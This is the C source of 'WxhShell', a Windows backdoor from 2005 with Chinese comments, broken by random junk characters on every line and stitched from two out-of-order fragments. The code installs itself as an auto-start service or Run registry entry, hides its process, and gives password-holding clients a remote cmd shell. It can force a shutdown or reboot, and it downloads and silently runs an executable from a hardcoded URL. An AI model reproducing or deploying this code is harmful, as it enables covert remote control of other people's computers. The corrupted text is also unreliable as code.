  case 'd': { Z"4VH rA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zV6AuUIt  
    if(Boot(SHUTDOWN)) |3aS17yL>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !'Gb$l!  
    else { ZWov_  
    closesocket(wsh); ^Kb9@lz/  
    ExitThread(0); _T_PX$B  
    } VyRW'  
    break; dE+CIjW5  
    } 9UB??049z  
  // 获取shell 2&suo!ig  
  case 's': { F fZ{%E  
    CmdShell(wsh); XryQ)x(  
    closesocket(wsh); @"jmI&hYn  
    ExitThread(0); ?G2qlna  
    break; |zK!+fu  
  } aB/{ %%o  
  // 退出 WNCM|VUl  
  case 'x': { ;GiI'M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nLzX Z6JlU  
    CloseIt(wsh); V+P8P7y37B  
    break; {hlT` K  
    } *7)S%r,?  
  // 离开 .LWOM8)  
  case 'q': { rE!G,^_{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y'3k E  
    closesocket(wsh); 0G~%UYB-  
    WSACleanup(); h9,wiT  
    exit(1); l2z`<2mp  
    break; )6PJ*;p-  
        } ,?P8m"  
  } Lw!?T(SK  
  } %ZJ),9+  
';i"?D?NAk  
  // 提示信息 \=HfO?$ Ro  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @1/Q  
} $71i+h]_  
  } zpBBnlq  
!"Z."fm*  
  return; MoC*tImWR  
} > u'/$ k  
> #Grf)@"6  
// shell模块句柄 azz#@f1  
int CmdShell(SOCKET sock) /zChdjz  
{ t;Fbt("]:  
STARTUPINFO si; COxZ Q  
ZeroMemory(&si,sizeof(si)); @n5;|`)\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *[XN.sb8E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GapX$Jb,p  
PROCESS_INFORMATION ProcessInfo; zav*  
char cmdline[]="cmd"; TmRrub  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'LtgA|c=  
  return 0; Ek gZxT_&  
} M6@'9E]|>  
~(Ih~/5\^  
// 自身启动模式 yVu^ >  
int StartFromService(void) PV5TG39qQ  
{ 3fbD"gL  
typedef struct 3n}s CEt=  
{ WHhR )$zC  
  DWORD ExitStatus; mcAH1k e  
  DWORD PebBaseAddress; [Gh%nsH  
  DWORD AffinityMask; B^Rw?: hN  
  DWORD BasePriority; (ffOu#RQ3  
  ULONG UniqueProcessId; 9RCB$Ka6X  
  ULONG InheritedFromUniqueProcessId; q?e16M  
}   PROCESS_BASIC_INFORMATION; 'l0eo' K  
LaEX kb*s  
PROCNTQSIP NtQueryInformationProcess; l^!0|/Vw  
H|UV+Q0,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZmYa.4'L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4iL.4Uj{N  
~T;a jvJ  
  HANDLE             hProcess; P?W T)C2)u  
  PROCESS_BASIC_INFORMATION pbi; $=@9 D,R  
7(nz<z p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); / y":/" h  
  if(NULL == hInst ) return 0; :$X4#k<  
A{{q'zb!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q\z=z$VR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v4Fnh`{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j? Jd@(*y$  
(e bBH  
  if (!NtQueryInformationProcess) return 0; FrAqTz  
.MzP}8^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #%} u8\q  
  if(!hProcess) return 0; p;c_<>ws-Y  
IV 3@6t4k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w|hyU4- ^  
@+T{M:&l  
  CloseHandle(hProcess); 2F*Dkv  
g-{<v4NGI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Aoy1<8WP%  
if(hProcess==NULL) return 0; .zSimEOF  
s[{:>~{iq  
HMODULE hMod; -x3tx7%  
char procName[255]; vo}_%5v8  
unsigned long cbNeeded; +QCU]Fozk  
=ihoVA:|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8KGv?^M 6W  
I/ e2,  
  CloseHandle(hProcess); 4%#V^??E  
9$4/frd  
if(strstr(procName,"services")) return 1; // 以服务启动 ]C!Y~  
8g2-8pa{  
  return 0; // 注册表启动 *Wuctu^9  
} C&d"#I  
B'lxlYV1  
// 主模块 .9[8H:Fe  
int StartWxhshell(LPSTR lpCmdLine) xTksF?u)  
{  t3yQ/  
  SOCKET wsl; 8wH41v67F  
BOOL val=TRUE; zDGg\cPj9  
  int port=0; k_|v)\4B  
  struct sockaddr_in door; 9 FFfRIVY  
F~d7;x =g  
  if(wscfg.ws_autoins) Install(); 2A18hP`^  
LK-K_!F  
port=atoi(lpCmdLine); /Mi-lh^j-  
>w]k3MC  
if(port<=0) port=wscfg.ws_port; w7*b}D@65\  
BF1O|Q|d6  
  WSADATA data; ,$zSJzS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #G4~]Qml  
-XDP-Trk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u`H@Q&(^wa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {eD>E(Y@z1  
  door.sin_family = AF_INET; G+QNg .pH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CrwcYzrRWl  
  door.sin_port = htons(port); ]`i@~Z h\  
2'UFHiK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n\8[G [M  
closesocket(wsl); n[cyK$"  
return 1; #&`WMLl+8  
} &Ow?Hd0  
65e Wu=T  
  if(listen(wsl,2) == INVALID_SOCKET) { Ppo^qb  
closesocket(wsl); ,ov v  
return 1; (J;zkb  
} E 4$h%5  
  Wxhshell(wsl); 5 1CU@1Ie  
  WSACleanup(); WNlSve)]ie  
lh(+X-}D  
return 0; J^+$L"K  
by:xD2 5  
} (a)@<RF`Q}  
Qig!NgOM  
// 以NT服务方式启动 YV_I-l0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C[<\ufclD  
{ )hZ}$P1  
DWORD   status = 0; _%p9 B#X<>  
  DWORD   specificError = 0xfffffff; /CQQ^/  
@2Y]p.$q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZX5A%`<M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9{^B Tc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t[yD8h  
  serviceStatus.dwWin32ExitCode     = 0; ;x0KaFk  
  serviceStatus.dwServiceSpecificExitCode = 0; H7XxME  
  serviceStatus.dwCheckPoint       = 0; +Tc(z{;  
  serviceStatus.dwWaitHint       = 0; <"|<)BGeI  
{msB+n~WZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t;f p<z7N.  
  if (hServiceStatusHandle==0) return; WSB|-Qj}W  
M(]|}%  
status = GetLastError(); n)?F 9Wap  
  if (status!=NO_ERROR) u1|Y;*  
{ 2T2#HP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WZ V*J&  
    serviceStatus.dwCheckPoint       = 0; .=w`T #L  
    serviceStatus.dwWaitHint       = 0; ]H9HO2wGQ  
    serviceStatus.dwWin32ExitCode     = status; 4.kkxQR7r  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y;5^w=V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t T/*ZzMq#  
    return; ^~1@HcJo  
  } w!h{P38  
Lzx(!<v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2Lu{@*  
  serviceStatus.dwCheckPoint       = 0; xg1r 3  
  serviceStatus.dwWaitHint       = 0; _<~Vxz9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w.F3o4YP  
} u'n%BVt   
xXh]z |  
// 处理NT服务事件,比如:启动、停止 q\pc2Lh?^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SD.*G'N&2f  
{ g8 *|" {  
switch(fdwControl) ]~<T` )Hi  
{ 5xV/&N  
case SERVICE_CONTROL_STOP: 2iINQK$  
  serviceStatus.dwWin32ExitCode = 0; b({b5z.A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; McI4oD~"  
  serviceStatus.dwCheckPoint   = 0; ['YRY B  
  serviceStatus.dwWaitHint     = 0; qmeEUch`  
  { 21k-ob1Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @5@{Es1u  
  } T-cVM>u\D  
  return;  D)eKq!_  
case SERVICE_CONTROL_PAUSE: ?lna8]t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e&7}N Za  
  break; v__Go kj-  
case SERVICE_CONTROL_CONTINUE: (C[S?@S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,&l*AB!  
  break; lVBy&f  
case SERVICE_CONTROL_INTERROGATE: r ($t.iS  
  break; J#;m)5[ a%  
}; <6@NgSFz'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oua/NF)  
} jM@I"JZ b  
2"K~:Tm#w  
// 标准应用程序主函数 \z?;6A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O6 J<Lqgh  
{ (c7{dYV  
VrL>0d&d  
// 获取操作系统版本 g/Nj|:3  
OsIsNt=GetOsVer(); 5DBd [u3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /r{5Lyk*  
U"G+su->e  
  // 从命令行安装 o;P;=<  
  if(strpbrk(lpCmdLine,"iI")) Install(); (NV=YX?s  
qO'5*d;!d  
  // 下载执行文件 ~$obcW1  
if(wscfg.ws_downexe) { -Af`AX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ] ]-0RJ=S?  
  WinExec(wscfg.ws_filenam,SW_HIDE); _C#( )#  
} TZ]Gl4 @  
MX_a]$\ :n  
if(!OsIsNt) { l;FgX+)  
// 如果时win9x,隐藏进程并且设置为注册表启动 R20GjWy=  
HideProc(); KD*4n'm!>  
StartWxhshell(lpCmdLine); bg. KkJMrR  
} {v'Fg  
else /[T8/7;_l  
  if(StartFromService()) TBp5xz`  
  // 以服务方式启动 #gT^hl5/  
  StartServiceCtrlDispatcher(DispatchTable); %),O9*[9  
else pjn%CR`;  
  // 普通方式启动 Mo=-P2)>lt  
  StartWxhshell(lpCmdLine); srA~gzF  
B{KD  ]  
return 0; fYPU'"hzG  
} 4hz,F/ I  
vw 2@}#\:  
6%y: hLT  
by[(9+/z$  
=========================================== k/Ro74f=  
\kO_"{7n  
#ms98pw%5  
nxRrmR}F  
c?Qg :yU  
KO"iauW  
" ) O^08]Y g  
o~>go_Y  
#include <stdio.h> \F3t&:  
#include <string.h> d)sl)qt}0  
#include <windows.h> ;VBfzFH  
#include <winsock2.h> ^ } L$[P  
#include <winsvc.h> bGa":|}F  
#include <urlmon.h> E6)mBAE  
9R3=h5Y  
#pragma comment (lib, "Ws2_32.lib") u^p[zepW\  
#pragma comment (lib, "urlmon.lib") S"z4jpqn3  
/LzNr0>2  
#define MAX_USER   100 // 最大客户端连接数 b)@x@3"O  
#define BUF_SOCK   200 // sock buffer I@+<[n2  
#define KEY_BUFF   255 // 输入 buffer s3^SjZb  
)Ggx  
#define REBOOT     0   // 重启 gf>5xf{M  
#define SHUTDOWN   1   // 关机 ;zG|llX  
R6Lr]H  
#define DEF_PORT   5000 // 监听端口 > `M\xt  
S>Y?QQ3#wp  
#define REG_LEN     16   // 注册表键长度 +[DVD  
#define SVC_LEN     80   // NT服务名长度 gk` .8o  
s1q d/  
// 从dll定义API S22; g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uIwyan-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  i9"1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \_'pUp22  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9-SXu lgu  
&YMj\KmlSg  
// wxhshell配置信息 uuB\~ #?T  
struct WSCFG { \I]'6N=  
  int ws_port;         // 监听端口 p}uw-$O  
  char ws_passstr[REG_LEN]; // 口令 aQ. \!&U  
  int ws_autoins;       // 安装标记, 1=yes 0=no WI3!?>d  
  char ws_regname[REG_LEN]; // 注册表键名 Bnv%W4  
  char ws_svcname[REG_LEN]; // 服务名 Y8(yOVy9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 39CPFgi<l*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nU)f]4q{Ec  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~K`bl W47  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ovO^uWz`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V5MbWXgR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hua8/:![+  
h,g~J-x`|  
}; ZAwl,N){  
+`FY  
// default Wxhshell configuration z_TK (;j  
struct WSCFG wscfg={DEF_PORT, v\C+G[MV 7  
    "xuhuanlingzhe", N~(}?'y9S  
    1, g9JtWgu  
    "Wxhshell", fM{Vy])J  
    "Wxhshell", $Izk]o;X~  
            "WxhShell Service", _De;SB %V  
    "Wrsky Windows CmdShell Service", hZy*E[i  
    "Please Input Your Password: ", 3t'K@W?AJh  
  1, [<t*&Kr+o  
  "http://www.wrsky.com/wxhshell.exe", '%N p9Iqt  
  "Wxhshell.exe" N 1rrKyL!$  
    }; %LyB~X  
V ALYA=w/  
// 消息定义模块 [<hiOB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^M"g5+ q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RP$A"<goP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cW\7yZh  
char *msg_ws_ext="\n\rExit."; "+AD+D  
char *msg_ws_end="\n\rQuit."; J2rH<Fd[up  
char *msg_ws_boot="\n\rReboot..."; c 9@*  
char *msg_ws_poff="\n\rShutdown..."; {Bx\Z0+'&  
char *msg_ws_down="\n\rSave to "; hSmM OS{  
gqG"t@Y+  
char *msg_ws_err="\n\rErr!"; !O*n6}nPE  
char *msg_ws_ok="\n\rOK!"; $[Ns#7K  
X+iULr.^`~  
char ExeFile[MAX_PATH]; YeVhWPn@  
int nUser = 0; joq ;N]S  
HANDLE handles[MAX_USER]; k?,g:[4!  
int OsIsNt; aU @z\sQ  
&* iiQ3  
SERVICE_STATUS       serviceStatus; )XFMlSx)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <Bwu N,}  
+7w>ujeeJA  
// 函数声明 [Pay<]c6g  
int Install(void); =*pu+o,?  
int Uninstall(void); n~Ix8|S h  
int DownloadFile(char *sURL, SOCKET wsh);  `S|gfJ  
int Boot(int flag); KH-.Z0 2U  
void HideProc(void); SWt"QqBU  
int GetOsVer(void); iBCM?RiG  
int Wxhshell(SOCKET wsl); $HRpG  
void TalkWithClient(void *cs); ^*W3{eyi(L  
int CmdShell(SOCKET sock); Oqyh{q%]  
int StartFromService(void); +e\u4k{3V  
int StartWxhshell(LPSTR lpCmdLine); 4b)xW&K{  
D c^d$gh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h!.(7qdd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {|cA[#j#  
Tn|re Xc0e  
// 数据结构和表定义 0)Z7U$  
SERVICE_TABLE_ENTRY DispatchTable[] = o?>)CAo  
{ N{'k ]&  
{wscfg.ws_svcname, NTServiceMain}, zI(Pti  
{NULL, NULL} u4Sa4o  
}; T!n<ya!  
S}<(9@]z  
// 自我安装 Q]\x O/  
int Install(void) D~<GVp5T  
{ fN9hBC@  
  char svExeFile[MAX_PATH]; ^U1;5+2G+~  
  HKEY key; shD$,! k  
  strcpy(svExeFile,ExeFile); |Z<adOg  
-v:Y\=[\  
// 如果是win9x系统,修改注册表设为自启动 ${?Px c{-  
if(!OsIsNt) { qQb8K+t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,F1$Of/'@\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,xiRP$hGhh  
  RegCloseKey(key); "H({kmR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x-"7{@lz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N4Ym[l  
  RegCloseKey(key); eWFlJ;=  
  return 0; z}5XLa^  
    } \%K6T)9  
  } 9X-DR  
} _T1e##Sq,  
else { y Le5,  
 :sf;Fq  
// 如果是NT以上系统,安装为系统服务 ixp%aRRP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #(7OvW+y  
if (schSCManager!=0) ]b[ 3 th*  
{ }.Ug`7%G  
  SC_HANDLE schService = CreateService %V$^CWOy  
  ( hX^XtIC=  
  schSCManager, R75sK(oS  
  wscfg.ws_svcname, 54k Dez  
  wscfg.ws_svcdisp, >+1bTt/-F  
  SERVICE_ALL_ACCESS, TnC'<zm9 !  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tlW}lN}  
  SERVICE_AUTO_START, 5\pizD/17  
  SERVICE_ERROR_NORMAL, tIg_cY_y  
  svExeFile, 3TJNlS  
  NULL, Zy<0'k%U  
  NULL, $h2h&6mH  
  NULL, !({[^[!  
  NULL, WA<~M) rb  
  NULL aW"BN 5eM>  
  ); L U7.  
  if (schService!=0) rC'97`!K  
  { qU}[( 9~Ru  
  CloseServiceHandle(schService); g ,.iM8  
  CloseServiceHandle(schSCManager); wBr0s *1I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <fP|<>s$@1  
  strcat(svExeFile,wscfg.ws_svcname); J9o ]$.e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /rquI y^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #PiW\Tq  
  RegCloseKey(key); 6pH.sX$!_  
  return 0; !#'*@a  
    } 6(eyUgnb  
  } )!0>2,R1  
  CloseServiceHandle(schSCManager); U+\\#5$  
} uG/Zpi  
} i6[Hu8  
Ts.6 1Rx  
return 1; oRCj]9I$  
} XX+4X*(o  
^mH^cP?/  
// 自我卸载 G-Y8<mEh  
int Uninstall(void) Baq&>]  
{ s01n[jQ  
  HKEY key; 5YRa2#d  
AH;h#dT  
if(!OsIsNt) { PJ);d>tz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [z/OY&kF  
  RegDeleteValue(key,wscfg.ws_regname); EayZ*e ]  
  RegCloseKey(key); .(! $j-B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ygg+*z  
  RegDeleteValue(key,wscfg.ws_regname); ?(E$|A  
  RegCloseKey(key); d5h:py5  
  return 0; 5Ba eHzI  
  } SlmgFk!r!  
} Z5v\[i@H!  
} 1B2>8 N  
else { #HqXC\~n  
9Y0w SOSW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DRal{?CH  
if (schSCManager!=0) gVb;sk^  
{ 9OX&;O+5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O}2;>eH  
  if (schService!=0) UZqr6A(/H  
  { ?v6xa Vg:  
  if(DeleteService(schService)!=0) { {>90d(j  
  CloseServiceHandle(schService); 1X]?-+',.  
  CloseServiceHandle(schSCManager); oB+drDp8U  
  return 0; x2 l~aw#?  
  } e~xN[Q\0]  
  CloseServiceHandle(schService); *M09Y'5]  
  } xM[m(m  
  CloseServiceHandle(schSCManager); )[>{ Ie2  
} Py K)ks!6  
} g%Eb{~v  
0ZTT^2R  
return 1; $vx]\` ^  
} L~>pSP^a  
wgY: W:y'N  
// 从指定url下载文件 ttgb"Wb%S  
int DownloadFile(char *sURL, SOCKET wsh) ]e!9{\X,*  
{ Y'0H2B8  
  HRESULT hr; dxsPX =\:  
char seps[]= "/"; |%Pd*yZA  
char *token; CnN PziB  
char *file; ~8Z)e7 j  
char myURL[MAX_PATH]; `C$.  
char myFILE[MAX_PATH]; !2=< MO  
z`XX[9$qm  
strcpy(myURL,sURL); F8KSB"!NR  
  token=strtok(myURL,seps); ] %pr1Ey  
  while(token!=NULL) 8a)lrIg  
  { mSr(PIH{\  
    file=token; PCtf&U  
  token=strtok(NULL,seps); " 5,'K~hz  
  } ^Yul|0*J  
zr2oU '+  
GetCurrentDirectory(MAX_PATH,myFILE); yC pU1 73V  
strcat(myFILE, "\\"); wX[g\,?}'  
strcat(myFILE, file); IBZ_xU\2  
  send(wsh,myFILE,strlen(myFILE),0); ,:;ZzHzR0  
send(wsh,"...",3,0); ?`8jn$W^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O!#r2Y"?K1  
  if(hr==S_OK) '| WY 2>/(  
return 0; ,#m:U5#h  
else {W,&jC  
return 1; kIrb;bZ+l  
].w~FUa  
} },+ &y^  
o!bV;]  
// 系统电源模块 j"1#n? 0  
int Boot(int flag) DxoW,G W  
{ GKIO@!@[  
  HANDLE hToken; OlI|.~  
  TOKEN_PRIVILEGES tkp; 4SlEc|'7@  
j`7q7}  
  if(OsIsNt) { Bq@_/*'*Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bi~1d"j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }hRw{#*8  
    tkp.PrivilegeCount = 1; ozB2L\D7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @L0xU??"|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }LeizbU  
if(flag==REBOOT) { wwUa+6?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (ZSd7qH"  
  return 0; d;@"Naw  
} ~HBQQt  
else { VUmf;~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cao=O \Y7  
  return 0; %?2y2O ,;  
} lu vrvm  
  } l$/.B=]  
  else { F#=M$j_  
if(flag==REBOOT) { -?z#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }JI@f14  
  return 0; {#y~ Qk;T  
} x18(}4  
else { XtCG.3(LY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _xY dnTEl  
  return 0; Vq$8!#~w  
} mSeCXCrZlI  
} l]R=I2t  
+adwEYRrr  
return 1; FNlS)Bs  
} '-X[T}  
Q-<h)WTA  
// win9x进程隐藏模块 6pP:Q_U$  
void HideProc(void) p?-qlPl  
{ vj%3v4  
6({TG&`!]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i/|}#yw8A  
  if ( hKernel != NULL ) !{q_Q !  
  { z_f^L %J0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D||)H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ` {/"?s|  
    FreeLibrary(hKernel); qBF6LhR  
  } i+90##4<?  
 Z2a~1BL  
return; 7w\L<vFm  
} };Pdn7;1G:  
pF/s5z  
// 获取操作系统版本 q{Ao j  
int GetOsVer(void) P"[\p|[U  
{ owviIZFe  
  OSVERSIONINFO winfo; X{Ij30Bmv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0hg4y  
  GetVersionEx(&winfo); e1Q   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %-fQ[@5  
  return 1; swKqsN.  
  else 7?ICXhu9  
  return 0; UMUG~P&@  
} TrPw*4h 9s  
WeZ?L|&%w0  
// 客户端句柄模块 2Q=I`H _  
int Wxhshell(SOCKET wsl) `l2h65\  
{ 18,;2Sr44  
  SOCKET wsh; b|pp}il  
  struct sockaddr_in client; u.ej<Lo  
  DWORD myID; !mH !W5&  
uN&UYJ' B  
  while(nUser<MAX_USER) U0=: `G2l  
{ +I3j 2u8L  
  int nSize=sizeof(client); IN_O!c0e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W#&BU-|2  
  if(wsh==INVALID_SOCKET) return 1; X'{ o/U.  
smKp3_r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TXT!Ae  
if(handles[nUser]==0) _9yW; i-  
  closesocket(wsh); 2q4-9vu  
else >N~orSw%  
  nUser++; s~06%QEG  
  } +;T\:'CU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j-#h^3l1?  
BD- c<K"  
  return 0; Dy&{PeE!  
} V3Ep&<=/  
/Z~5bb(  
// 关闭 socket LNcoTdv}k  
void CloseIt(SOCKET wsh) =%SH2kb  
{ {4{X`$  
closesocket(wsh); vM?,#:5  
nUser--; <ivq}(%72  
ExitThread(0); v]\T&w%9  
} ioBYxbY`  
CHyT'RT  
// 客户端请求句柄 3tW}a`z9  
void TalkWithClient(void *cs) ivg W[]  
{ 3aw-fuuIb  
9^7z"*@#  
  SOCKET wsh=(SOCKET)cs; yMEI^,0"  
  char pwd[SVC_LEN]; WC Y5F  
  char cmd[KEY_BUFF]; T 9FGuit9  
char chr[1]; ,]tEh:QC  
int i,j; ;o158H$gz;  
[>LO'}%  
  while (nUser < MAX_USER) { &r+!rL Kp  
*4/KK  
if(wscfg.ws_passstr) { dTWcn7C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i0u`J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RdB,;Um9f  
  //ZeroMemory(pwd,KEY_BUFF); fI,2l   
      i=0; tn;Uaw  
  while(i<SVC_LEN) { yU>ucuF  
+~EnrrT+W  
  // 设置超时 ;6$W-W _  
  fd_set FdRead; Bk] `n'W  
  struct timeval TimeOut; ^HU>fkSk  
  FD_ZERO(&FdRead); CF6qEG6  
  FD_SET(wsh,&FdRead); :Wihb#TO)  
  TimeOut.tv_sec=8; 7^;-[? l  
  TimeOut.tv_usec=0; $9h^tP'CV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pv|sPIIB7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ymn@1BA8J  
Yfx?3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); liBFx6\"S  
  pwd=chr[0]; Wr@q+Whq  
  if(chr[0]==0xd || chr[0]==0xa) { z SjZTA/Z  
  pwd=0; j$<g8Bg=o  
  break; 85q!FpuH  
  } '|}H ,I{  
  i++; 5&.I9}[)j  
    } I+QM":2  
l,5isq ;m  
  // 如果是非法用户,关闭 socket E5?$=cL?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r`$P60,@C  
} e5D\m g)  
Wngc(+6O&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _q4Yq'dI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fr-Vq =j&  
k(xB%>ns  
while(1) { %XQJ!sC`  
ZFtJoGaR  
  ZeroMemory(cmd,KEY_BUFF); >U.7>K V&  
\O]kf>nC  
      // 自动支持客户端 telnet标准   Qb7&S5m  
  j=0; RBHU5]5  
  while(j<KEY_BUFF) { 0KZ$v/m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dGUiMix{N  
  cmd[j]=chr[0]; WHqw=! G  
  if(chr[0]==0xa || chr[0]==0xd) { 8?rq{&$t  
  cmd[j]=0; |n;5D,r0C  
  break; C)~%(< D  
  } OnyAM{$g  
  j++; T+PERz(  
    } `4e| I.`^r  
Y5y7ONcn  
  // 下载文件 ;X:Bh8tEV  
  if(strstr(cmd,"http://")) { 8K@e8p( y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Md0`/F:+2  
